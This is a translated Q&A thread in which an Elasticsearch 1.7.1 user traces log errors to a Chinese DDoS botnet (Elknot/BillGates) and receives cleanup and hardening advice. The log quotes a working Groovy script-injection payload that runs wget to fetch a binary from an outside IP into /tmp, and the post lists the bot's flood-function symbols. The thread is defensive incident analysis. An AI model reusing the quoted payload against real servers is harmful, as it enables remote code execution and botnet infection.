4

我刚刚更新到 ElasticSearch 1.7.1 并正在填充数据库。虽然我不断收到以下错误(或调试消息):

[2015-08-09 03:20:23,429][DEBUG][action.search.type       ] [NODE_NAME] [index_name][0], node[vw6fq_XPSuWsBWHN6aKepw], [P], s[STARTED]: Failed to execute [org.elasticsearch.action.search.SearchRequest@6dee1ca] lastShard [true]
org.elasticsearch.search.SearchParseException: [index_name][0]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/XJ1 http://116.255.194.18:8080/XJ1\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:747)
    at org.elasticsearch.search.SearchService.createContext(SearchService.java:572)
    at org.elasticsearch.search.SearchService.createAndPutContext(SearchService.java:544)
    at org.elasticsearch.search.SearchService.executeQueryPhase(SearchService.java:306)
    at org.elasticsearch.search.action.SearchServiceTransportAction$5.call(SearchServiceTransportAction.java:231)
    at org.elasticsearch.search.action.SearchServiceTransportAction$5.call(SearchServiceTransportAction.java:228)
    at org.elasticsearch.search.action.SearchServiceTransportAction$23.run(SearchServiceTransportAction.java:559)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
    at java.lang.Thread.run(Thread.java:745)
Caused by: org.elasticsearch.script.ScriptException: scripts of type [inline], operation [search] and lang [groovy] are disabled
    at org.elasticsearch.script.ScriptService.compile(ScriptService.java:285)
    at org.elasticsearch.script.ScriptService.search(ScriptService.java:483)
    at org.elasticsearch.search.fetch.script.ScriptFieldsParseElement.parse(ScriptFieldsParseElement.java:79)
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:731)
    ... 9 more

起初,我想过修复这个错误,但我还没有编写任何 Groovy 脚本。所以我开始阅读这条消息,发现:

Runtime.getRuntime().exec(\"wget -O /tmp/XJ1 http://116.255.194.18:8080/XJ1\").getInputStream()

IP让我很困惑,因为它不是我的(它是中文的)。所以我对 wget 进行沙盒处理,并创建了一个字符串(来自 byte []),结果如下:

CC: (GNU) 4.4.6 20110731 (Red Hat 4.4.6-3) GCC: (GNU) 4.4.6 20120305 (Red Hat 4.4.6-4)  .symtab .strtab .shstrtab .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .text .fini .rodata .eh_frame_hdr .eh_frame .ctors .dtors .jcr .dynamic .got .got.plt .data .bss .comment   
crtstuff.c __CTOR_LIST__ __DTOR_LIST__ __JCR_LIST__ __do_global_dtors_aux completed.5972 dtor_idx.5974 frame_dummy __CTOR_END__ __FRAME_END__ __JCR_END__ __do_global_ctors_aux main.c rdtsc _GLOBAL_OFFSET_TABLE_ __init_array_end __init_array_start _DYNAMIC GET_Flood data_start __errno_location@@GLIBC_2.0 srand@@GLIBC_2.0 connect@@GLIBC_2.0 getpid@@GLIBC_2.0 pthread_join@@GLIBC_2.0 strerror@@GLIBC_2.0 __libc_csu_fini sysconf@@GLIBC_2.0 _start pthread_exit@@GLIBC_2.0 Get_Net_Message CreateTimeer random@@GLIBC_2.0 Send_Host_Message signal@@GLIBC_2.0 NetSpeed __gmon_start__ _Jv_RegisterClasses _fp_hw rewind@@GLIBC_2.0 __isoc99_sscanf@@GLIBC_2.7 DoorThread SynFLood_Message _fini inet_addr@@GLIBC_2.0 write@@GLIBC_2.0 sendto@@GLIBC_2.0 fgets@@GLIBC_2.0 memset@@GLIBC_2.0 AnalysisAddress getOutRates UDP_Flood __libc_start_main@@GLIBC_2.0 uname@@GLIBC_2.0 htons@@GLIBC_2.0 read@@GLIBC_2.0 perror@@GLIBC_2.0 usleep@@GLIBC_2.0 SYN_Flood _IO_stdin_used gettimeofday@@GLIBC_2.0 Stream_Flood id ServerConnectCli __data_start TurnonKeepAlive DoorSocket ioctl@@GLIBC_2.0 socket@@GLIBC_2.0 getNetRates fclose@@GLIBC_2.1 bcopy@@GLIBC_2.0 GetCpuRates SetDNSHead memcpy@@GLIBC_2.0 strlen@@GLIBC_2.0 MainThread DealwithDDoS fopen@@GLIBC_2.1 _SendInfo __dso_handle strcpy@@GLIBC_2.0 __DTOR_END__ __libc_csu_init printf@@GLIBC_2.0 StopFlag DNS_Flood select@@GLIBC_2.0 close@@GLIBC_2.0 MainSocket strstr@@GLIBC_2.0 time@@GLIBC_2.0 ICMP_Flood m_OnlineInfo _ConnectServer __bss_start CpuSpeed pthread_create@@GLIBC_2.1 sleep@@GLIBC_2.0 __ConnectServer send@@GLIBC_2.0 _end puts@@GLIBC_2.0 _ServerConnectCli setsockopt@@GLIBC_2.0 ChName rand@@GLIBC_2.0 bzero@@GLIBC_2.0 usage netuse CheckSum fread@@GLIBC_2.0 getsockopt@@GLIBC_2.0 SendSpeed _edata snprintf@@GLIBC_2.0 gethostbyname@@GLIBC_2.0 exit@@GLIBC_2.0 __i686.get_pc_thunk.bx main Get_Cpu_Message _init

所以我找到了c代码,我发现DealWithDDos调用很有趣。

我不知道这是什么代码,它来自哪里,以及它为什么要运行。有谁知道这是什么吗?以及如何摆脱它?

PS,我还收到另一个错误消息,另一个奇怪的脚本调用exec(\"whoami\"). 根据ends.cc ,此代码用于尝试通过执行系统命令来取消Groovy 沙箱。
exec(\"echo qq952135763\"),唯一的匹配是(等待它...)中文...

更新

所以,感谢 Val 的评论,问题制造者:中国僵尸网络。僵尸网络报告 ElasticSearch:弹性僵尸网络报告

另外,由于我刚刚更新了 ElasticSearch,创建了全新的索引(一切都是新的),我已经从外部排除了 ES(对于漏洞来说显然为时已晚,但仍然如此),所以必须运行一些进程来向 ES 发送请求. 哪个?从哪里调用脚本?

(值得注意)更新 2

更新中描述的报告中,他们描述了 2 个(相关)恶意软件产品,这些产品针对ElasticSearch:BillGatesElknot.

值得注意的Elknot是在最后一段page 7

Elknot dropper 的作者没有提供任何重启后持久性的方法,一旦受害者的机器被管理员重启,或者系统崩溃,感染就会停止。

BillGates恶意软件:您可以通过(最后一页的3引文:

BillGates 感染的一个常见指标是受害者机器上存在 /tmp/moni.lock 和 /tmp/bill.lock 文件。此外,包含名称 bsd-port 的 /usr/bin 目录之外的目录可能是可疑的。

不过,如何摆脱它?

  • Elknot -> 重启所有服务器(同时!)
  • BillGates -> 建议在检测到这种形式的恶意软件时重新安装3
4

1 回答 1

1

稍后更新
事先说明:由于某种原因,这个线程仍然被访问,这导致我警告,尽快将 ElasticSearch 升级到 > 1.5。确保{your_external_ip}:{port}不能从任何地方调用,但 localhost - 如果有的话。最后,注意使用Groovy,尤其是在沙盒之外。


原始答案

所以这里出现了两个不同的问题:
1)正如@Val 指出的那样,中国僵尸网络得到了我(事后看来,他们之前得到了我,但我没有运行默认禁用脚本的 ElasticSearch 版本)。Novetta对这个僵尸网络进行了调查,他们发现运行了两个主要脚本(当计算机已被感染时):ElknotBillGates- 共享一些代码。(他们发现了 10 种不同的脚本来尝试感染服务器,但并非都是高质量的(见第41-541页)

两者之间的一个很大区别在于Elknot它不会尝试变得持久,而是要简单得多BillGates。要找出您拥有这些版本中的哪一个,您可以执行以下几项操作:

  • 执行重新启动。当(几个小时后)系统没有显示奇怪的活动时(wget -o),你有Elknot,否则你可能有BillGates
  • 由于与 , 相比ElknotBillGates它是持久的,因此您可能能够在: 中看到它的签名 /tmp/{moni.lock, notify.file, gates.lock, bill.lock},您必须能够在:/etc/rc?.ddirectories 文件中看到它SDbSecuritySpt97/etc/resolv.conf(参见第25-31 1页),使用lsof命令(参见第39-41 1页)

幸运的是,对我来说,似乎我有elknot,所以我不需要重新安装。whoami但我仍然有类似的警告消息,包括对和的运行时调用echo qq{some numbers}。为什么?

因为已知漏洞(如相关更新中所述)是 Groovy 脚本调用系统命令时。这可以取消对脚本的沙箱化,赋予它权力。

这个问题没有被解决,reboot因为它只是停止了elknot。显然还有别的问题。我发现我仍然可以打电话external.ip.address:9200HTTP获得回应。此外,从外部来源,我可以将节点绑定到网络 - 愚蠢(我以为我几个月前就解决了)。为了解决这个问题,请注意以下设置elasticsearch.yml

############## HTTP ################
#at least
http.host: localhost 
#preferrably disable http entirely. Http is unnecessary on the data nodes, since they communicate over the transport
http.enabled: false 

########### TRANSPORT ##############
# local only. Without this property everybody in the world can connect to your ES
transport.host: ["192.168.0.10","localhost"]
于 2015-08-11T07:58:34.327 回答